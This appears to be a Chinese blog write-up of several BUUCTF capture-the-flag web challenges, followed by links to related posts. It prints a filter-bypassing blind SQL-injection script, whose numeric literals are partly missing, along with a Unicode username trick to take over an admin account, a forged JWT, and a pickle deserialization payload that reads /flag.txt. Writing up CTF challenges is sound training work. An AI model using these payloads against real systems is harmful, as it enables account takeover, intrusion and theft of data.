平台地址:https://buuoj.cn/  里面很多之前的题目,不错的平台。另外幕后大哥博客https://www.zhaoj.in/     以下的解题,都是参考各位大佬的WP去复现,重在记录下解题思路

以及了解一些常规姿势。

[CISCN2019 华北赛区 Day2 Web1]Hack World

题目是这样的

已经知道了表名和,列名,只需要想办法读取里面的内容就行了。

过滤了一些字符,绕过就行了。这里通过BP抓包FUZZ一波,还有手工判断,这里有一些BP fuzz使用的payload:  https://github.com/fuzzdb-project/fuzzdb

可以发现过滤了and、or、”、union、#、 --+ ,空格、&&、||、/**/等

这里空格可以使用%0a,()进行绕过,^异或没有被过滤,所以这里可以使用异或进行绕过,猜测出最终的flag.

payload如下:

import requests
import string
import urllib
s = requests.session() #创建session对象,可以保存Cookie值
url = "http://f63702e7-ee2e-4b0d-be72-6f27bcc0e241.node1.buuoj.cn/index.php"
i =
length = len(s.post(url,data={'id':''}).text) #输出post提交时,response响应的内容的长度,和后面提交payload时页面做对比 # print(len(s.post(url,data={'id':''}).text)) 长度312 '''
print(s.post(url,data={'id':''}).text)
当post提交1时输出为
<html>
<head>
<title>Hack World</title>
</head>
<body>
<h3>All You Want Is In Table 'flag' and the column is 'flag'</h3>
<h3>Now, just give the id of passage</h3>
<form action="index.php" method="POST">
<input type="text" name="id">
<input type="submit">
</form>
</body>
</html>
Hello, glzjin wants a girlfriend.
''' flag = ''
while :
status =
for x in string.printable:   #string.printable为可打印字符,在ASCII码中,—32及127是控制字符,~126为可打印字符
  #其中48~57为0~;~90为26个字母大写,~122为小写,其余为标点符号/运算符等
payload = r"1^(ascii(substr((select%0aflag%0afrom%0aflag),{0},1))={1})^1".format(str(i),str(ord(x)))
#使用ascii是因为过滤掉了-,所以先转ascii,之后再打印出来。再可打印字符里面有-
data = {
'id': urllib.parse.unquote(payload) #urllib.parse用于解析URL,解析上面的%0a
}
html = s.post(url,data=data).text
if length == len(html):
flag += x
status =
print(flag)
break
else:
status =
if status == :
flag += "exp"
print(flag)
i +=

flag为:flag{86b21334-8620-4133-98ad-a6940c102431}

admin

题目连接:http://web37.node1.buuoj.cn/

题目为admin,那么应该是需要我们得到admin的账号,然后登录进去就可以得到flag了,可以,大小写注册都不管用。

随便注册个账号进去看看,在change password页面源码里看到https://github.com/woadsl1234/hctf_flask/,是题目源码,使用的是Flask框架,那么就去看看route,看看里面的函数

@app.route('/register', methods = ['GET', 'POST'])  //注册
def register(): if current_user.is_authenticated:
return redirect(url_for('index')) form = RegisterForm()
if request.method == 'POST': //定义提交方式为POST
name = strlower(form.username.data) //将提交的username转为小写
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form) @app.route('/login', methods = ['GET', 'POST']) //登录
def login():
if current_user.is_authenticated:
return redirect(url_for('index')) form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data) //小写转换
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form) @app.route('/change', methods = ['GET', 'POST']) //改密码
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name']) //小写转换
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form) def strlower(username):
username = nodeprep.prepare(username)
return username

在这里,我们可以看到,他的strlower函数是这样定义的

def strlower(username):
username = nodeprep.prepare(username)
return username

username是通过nodeprep.prepare(username)之后得到的。

而对于nodeprep.prepare()函数,他需要使用的的库为twisted,到目前为止,他已经更新到了19.7.0,而题目使用的是10.2.0的,对于已经有了更高版本的时候,一般会想到应该会存在一定的漏洞

就像php版本一样,之前低版本的也存在各种各样的漏洞。

这里存在Unicode编码的一个问题,具体对应的编码:https://unicode-table.com/en/blocks/phonetic-extensions/

可以知道当使用了nodeprep.prepare()函数之后,如果我们先使用unicode的编码的字符,比如说 ᴬ ,使用该函数之后,他会先变成大写的A,再使用一次就会变成小写的a。

那么这里就可以使用他的漏洞进行注册了:

首先使用  ᴬdmin这个用户名进行注册 ,注册之后,进去就会变成 Admin

然后改密码,随便改一个密码,改密码之后,再次经过nodeprep.prepare()函数,就可以将username变成admin了

最后退出,重新以admin的身份进行登录,即刻得到flag

最后附上一叶飘零大佬的三解:https://www.anquanke.com/post/id/164086

[CISCN2019 华北赛区 Day1 Web2]ikun

打开题目,可以看到

B站鬼畜区大佬,各UP主都爱的素材。看到这,让我又想起了上次夕阳红打榜,NB,让我再次看到了,只要你有实力谁都愿意和你交好。

话不多说,审题。打开页面,知道,我们需要购买lv6,应该是买到就可以给Flag吧。

先注册,随便注册个账号,邮箱随便弄一个

注册之后可以看不到,钱不是很多,应该是不够买的

接下来先找到lv6,买下来才行,翻了十几页,没看到,脚本跑一下

import requests

url = "http://26f12b49-df5d-419d-9c3a-50988d616703.node1.buuoj.cn/shop?page="

for i in range():
r = requests.get(url + str(i))
if "lv6.png" in r.text:
print i
break

最后跑出来在181页有lv6,虽然找到了,倒是价格也太贵了,还是点进去看一下

点击结算,操作失败,买不到。看一下源码,可以看到,有一个discount折扣,将其改小,改为0.00000001

结算后,自动跳转到另外的页面,需要用户为admin才能访问

看一下cookie信息。发现有一个JWT(json web token),关于JWT可以到这了解更多:https://www.cnblogs.com/cjsblog/p/9277677.html

然后到 https://jwt.io/  进行查询解析,得到

这里将mortals,改为admin,密钥使用 https://github.com/brendan-rius/c-jwt-cracker 跑出来

最后得到密钥为1Kun,

将JWT的值改为如下,进行cookie伪造

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

再查看源码的时候,找到有用的东西

下载下来,可以看到为该题的源码

在sshop/views/Admin.py 里面有个

关于python反序列话,可以看这http://www.sohu.com/a/274879579_729271

然后利用python,里面的pickle库,进行序列化,读取flag。

payload:

import pickle
import urllib class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",)) a = pickle.dumps(payload())
a = urllib.quote(a)
print a

得到:

c__builtin__%0Aeval%0Ap0%0A%28S%22open%%/flag.txt%%2C%27r%%.read%%%%0Ap1%0Atp2%0ARp3%0A.

在六级会员页面,源码里面,会看到一个隐藏,将其去掉,然后在admin那按下回车,进行抓包

抓到得到,

将admin改为,刚才生成的payload,即可得到flag

BUUCTF复现记录1的更多相关文章

  1. BUUCTF复现记录2

    [CISCN2019 华北赛区 Day1 Web1]Dropbox 打开题目,一个登录界面,SQL? sqlmap跑一下,没有注入,那么注册一下 登录之后,发现只有一个上传页面,源码里面也没有什么 那 ...

  2. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  3. HTTPoxy漏洞(CVE-2016-5385)复现记录

    漏洞介绍: httpoxy是cgi中的一个环境变量:而服务器和CGI程序之间通信,一般是通过进程的环境变量和管道. CGI介绍 CGI 目前由 NCSA 维护,NCSA 定义 CGI 如下:CGI(C ...

  4. CVE 2019-0708 漏洞复现+

    PART 1 参考链接:https://blog.csdn.net/qq_42184699/article/details/90754333 漏洞介绍: 当未经身份验证的攻击者使用 RDP 连接到目标 ...

  5. Shellshock远程命令注入(CVE-2014-6271)漏洞复现

    请勿用于非法用法,本帖仅为学习记录 shelshocke简介: shellshock即unix 系统下的bash shell的一个漏洞,Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全 ...

  6. PHP危险函数的持续学习

    记录下遇到过的PHP危险函数 0x01 escapeshellarg()与escapeshellsmd()联合 先给出官方的定义: escapeshellarg ( string $arg ) : s ...

  7. 【我的第一个现实漏洞分析】 CVE-2017-17215 华为智能路由器HG532 漏洞分析笔记

    0x00 基本信息 2017.11.27 Check Point团队报告华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215),Mirai的升级版变种中已经使用该漏洞. 华为HG53 ...

  8. 2020i春秋新春战疫

    简单的招聘系统 登陆这里就可以注入 查询这里也可以注入 从登陆这里注入把 爆破数据库名 爆破表名 列名 flag 就很奇怪跑出来的东西 重开容器跑一遍列,估计是flaaag.后面可能是发生了502 再 ...

  9. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

随机推荐

  1. Redist的主从配置

    Redis的主从复制一般用来在线备份和读写分离,提高服务器的负载能力.主数据库主要进行写操作,而从数据库负责读操作. 主从的配置: 主节点: [root@master ~]# grep -v -E & ...

  2. Archer代码生成器前端

    import {getList, getDetail, add, update, remove} from "@/api/sales/sales"; import {getList ...

  3. All LeetCode Questions List 题目汇总

    All LeetCode Questions List(Part of Answers, still updating) 题目汇总及部分答案(持续更新中) Leetcode problems clas ...

  4. 【Spring Boot学习之四】Spring Boot事务管理

    环境 eclipse 4.7 jdk 1.8 Spring Boot 1.5.2 一.springboot整合事务事务分类:编程事务.声明事务(XML.注解),推荐使用注解方式,springboot默 ...

  5. vmware 虚拟机中有时获取不到IP地址

    转载: https://blog.csdn.net/valecalida/article/details/80683518 解决方法:打开vmware,然后找到编辑 然后点击虚拟网络编辑器 此时应该先 ...

  6. [转帖]VirtualBox 网络模式

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明.本文链接:https://xiaoyu.blog.csdn.net/article/detail ...

  7. Word 去除文字底纹

    有时候从网页复制的文字有底纹,如何清除呢? 未完 ...... 点击访问原文(进入后根据右侧标签,快速定位到本文)

  8. xe.10.2的下载路径

    为了这个玩意,我折腾了一天,为了以后自己还用到 官网地址: http://altd.embarcadero.com/download/radstudio/10.2/delphicbuilder10_2 ...

  9. 2019-7-01 python基础数据类型

    一.python的注释 python的注释分类: 单行注释:  #    单行注释 多行注释:(可以是三个单也可以是三个双) ''' 单三引号多行注释 ''' """ 双 ...

  10. java Unicode和UTF-8之间转换

    utf-8转unicode public static String utf8ToUnicode(String inStr) { char[] myBuffer = inStr.toCharArray ...